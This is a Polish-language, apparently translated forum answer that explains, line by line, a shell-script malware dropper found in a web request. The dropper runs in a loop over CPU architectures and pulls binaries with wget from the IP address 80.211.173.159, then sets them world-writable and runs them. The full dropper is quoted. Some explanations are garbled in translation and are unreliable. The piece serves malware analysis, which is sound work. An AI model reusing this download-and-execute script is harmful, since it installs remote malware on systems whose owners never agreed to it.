Linia po linii:
#!/bin/sh
Ustala sh
powłokę, w zależności od tego, która jest, jako linia shebang. sh%20/tmp/ks
w żądaniu przesłania to, więc ten wiersz jest traktowany jako normalny komentarz i ignorowany.
u="asgknskjdgn"
Deklaruje dowolną nazwę, prawdopodobnie w celu uniknięcia kolizji z innymi nazwami plików. Nie jestem pewien, dlaczego po prostu by tego nie użyli mktemp
, ale może nie jest to dostępne na wszystkich platformach.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Wymienia kilka typowych architektur procesora.
http_server="80.211.173.159"
http_port=80
Serwer, który ma exploita.
cd /tmp/||cd /var/
Próbuje zmienić katalog w miejsce, w którym Twój serwer WWW prawdopodobnie będzie mógł tworzyć pliki. Wierzę, że SELinux pomoże w tym, egzekwując znacznie bardziej rygorystyczne zasady dotyczące tego, co może zrobić serwer WWW niż system plików.
for name in $bin_names
do
Dla każdej architektury procesora…
rm -rf $u
Usuwa wcześniej wypróbowane programy wykorzystujące lukę. Niepotrzebne z powodu następnego wiersza, więc można je zignorować.
cp $SHELL $u
Kopiuje bieżący plik wykonywalny powłoki ( /bin/sh
). Może być zignorowany z powodu wiersza po następnym.
chmod 777 $u
Zapewnia wszystkim pełny dostęp do nowego pliku. Powinno to nastąpić po wget
poleceniu, które jest albo znakiem początkującego skryptu powłoki, albo techniką błędnego przekierowania.
>$u
Opróżnia plik. Bezcelowe z powodu następnej linii.
wget http://$http_server:$http_port/$name -O -> $u
Zastępuje plik skryptem exploita dla tej architektury. -O -> $u
mógł zostać zapisany -O - > $u
(myślnik wskazuje, że pobieranie powinno być zapisane na standardowe wyjście), co jest równoważne -O $u
.
./$u $name
Uruchamia skrypt exploitów z architekturą jako pierwszym argumentem.
done
Kończy pętlę.
Wygląda na to, że jest to trywialny skrypt próbujący wykorzystać exploity, próbujący znanych exploitów na różnych platformach CPU. Nie wiem, dlaczego zastępuje $u
trzykrotnie, ale te operacje mogą po prostu pozostać po wcześniejszej iteracji skryptu. Prawdopodobnie wcześniejsza wersja miała exploity zakodowane na sztywno, a nie dynamicznie obsługiwane - pierwsza jest łatwiejsza, ale prawie gwarantuje, że skrypt będzie z czasem mniej skuteczny w miarę łatania błędów.